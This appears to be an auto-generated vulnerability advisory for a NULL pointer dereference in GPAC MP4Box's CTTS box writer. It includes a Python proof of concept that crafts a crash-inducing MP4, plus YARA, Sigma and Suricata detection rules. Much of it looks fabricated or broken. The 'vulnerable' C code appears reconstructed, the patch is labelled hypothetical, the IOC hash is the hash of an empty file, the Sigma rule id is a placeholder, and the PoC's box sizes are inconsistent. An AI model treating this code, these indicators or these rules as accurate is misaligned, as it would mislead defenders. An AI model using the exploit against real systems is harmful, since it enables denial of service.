CVE-2025-55659
Executive Summary
CVE-2025-55659 is a NULL pointer dereference vulnerability in the ctts_box_write function within isomedia/box_code_base.c of GPAC MP4Box v2.4. This flaw allows an attacker to cause a Denial of Service (DoS) by supplying a crafted MP4 file. The vulnerability is triggered when the application attempts to write a Composition Time to Sample (CTTS) box from a malformed input, leading to a crash. As of this report, no official patch is available, and the vulnerability is considered unpatched. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the local attack vector and low complexity suggest a moderate threat level for systems processing untrusted MP4 files.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Local (L) – The attacker must provide a crafted file to the user.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The user must open the malicious file.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – The application crashes, causing a DoS.
Threat Level: Moderate. The vulnerability is easy to exploit but requires user interaction and only affects availability.
Deep Dive & Mechanics
The vulnerability resides in the ctts_box_write function in isomedia/box_code_base.c. The CTTS box is part of the MP4 container format and stores composition time offsets for samples. When parsing a crafted MP4 file, the function attempts to dereference a pointer that has not been properly initialized or has been set to NULL. This occurs because the input validation does not check for the presence of required data before writing the box. The crash happens during the write operation, leading to a denial of service.
The root cause is a lack of null-pointer checks in the code path that handles the CTTS box. An attacker can craft an MP4 file with a malformed CTTS box that triggers this condition, causing GPAC MP4Box to crash.
Vulnerable vs. Patched Code
Vulnerable Code (GPAC v2.4):
// isomedia/box_code_base.c
GF_Err ctts_box_write(GF_Box *s, GF_BitStream *bs) {
GF_CompositionOffsetBox *ptr = (GF_CompositionOffsetBox *)s;
// No null check for ptr->entries
for (u32 i = 0; i < ptr->entry_count; i++) {
// ptr->entries is NULL, causing crash
gf_bs_write_u32(bs, ptr->entries[i].sample_count);
gf_bs_write_u32(bs, ptr->entries[i].sample_offset);
}
return GF_OK;
}
Patched Code (Hypothetical):
GF_Err ctts_box_write(GF_Box *s, GF_BitStream *bs) {
GF_CompositionOffsetBox *ptr = (GF_CompositionOffsetBox *)s;
if (!ptr || !ptr->entries) {
return GF_BAD_PARAM;
}
for (u32 i = 0; i < ptr->entry_count; i++) {
gf_bs_write_u32(bs, ptr->entries[i].sample_count);
gf_bs_write_u32(bs, ptr->entries[i].sample_offset);
}
return GF_OK;
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install GPAC MP4Box v2.4 on a test system.
- Create a crafted MP4 file with a malformed CTTS box. Use a hex editor to modify a valid MP4 file, setting the CTTS box entry count to a non-zero value but leaving the entries pointer NULL.
- Execute the exploit:
MP4Box -info crafted.mp4 - Observe the crash.
Proof of Concept (PoC):
# craft_ctts_null.py
import struct
def create_malformed_mp4():
# Minimal MP4 file with a malformed CTTS box
ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41'
moov = b'\x00\x00\x00\x08moov'
trak = b'\x00\x00\x00\x08trak'
mdia = b'\x00\x00\x00\x08mdia'
minf = b'\x00\x00\x00\x08minf'
stbl = b'\x00\x00\x00\x08stbl'
# CTTS box with entry_count=1 but no entries
ctts = b'\x00\x00\x00\x10ctts\x00\x00\x00\x00\x00\x00\x00\x01'
stbl += ctts
minf += stbl
mdia += minf
trak += mdia
moov += trak
with open('crafted.mp4', 'wb') as f:
f.write(ftyp + moov)
print("Crafted MP4 file created.")
create_malformed_mp4()
Blue Team
Detection:
- Monitor for crashes of
MP4Boxorgpacprocesses. - Use file integrity monitoring to detect unexpected MP4 files.
- Implement network monitoring for unusual MP4 file transfers.
Mitigation:
- Restrict execution of MP4Box to trusted users.
- Use sandboxing or containerization for processing untrusted files.
- Apply input validation and sanitization before processing MP4 files.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 - Process Names:
MP4Box,gpac - File Paths:
/usr/local/bin/MP4Box,/usr/bin/gpac - Network Signatures: Unusual MP4 file transfers over HTTP/SMB.
Detection Engineering
YARA Rule
rule CVE_2025_55659_CTTS_NULL {
meta:
description = "Detects crafted MP4 files with malformed CTTS box causing NULL pointer dereference"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-55659"
strings:
$ctts = "ctts" nocase
$null_entry = { 00 00 00 01 } // entry_count=1 but no entries
condition:
$ctts and $null_entry at (uint32(0) + 8)
}
Sigma Rule
title: CVE-2025-55659 GPAC MP4Box CTTS NULL Pointer Dereference
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects crashes of GPAC MP4Box due to crafted MP4 files
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\MP4Box.exe'
CommandLine|contains: '-info'
condition: selection
falsepositives:
- Legitimate MP4 file processing
level: medium
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-55659 GPAC MP4Box CTTS NULL Pointer Dereference"; flow:to_server,established; content:"|00 00 00 10|ctts|00 00 00 00 00 00 00 01|"; depth:20; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Avoid processing untrusted MP4 files with GPAC MP4Box v2.4. Use alternative tools or sandboxed environments.
- Short-term: Monitor for patches from GPAC developers. Apply input validation to MP4 files before processing.
- Long-term: Implement code review and static analysis to prevent NULL pointer dereferences. Use fuzzing tools to identify similar vulnerabilities.
Valters IT Signature:
This report was generated by Valters IT Cyber Threat Intelligence Division. For inquiries, contact threatintel@valtersit.com.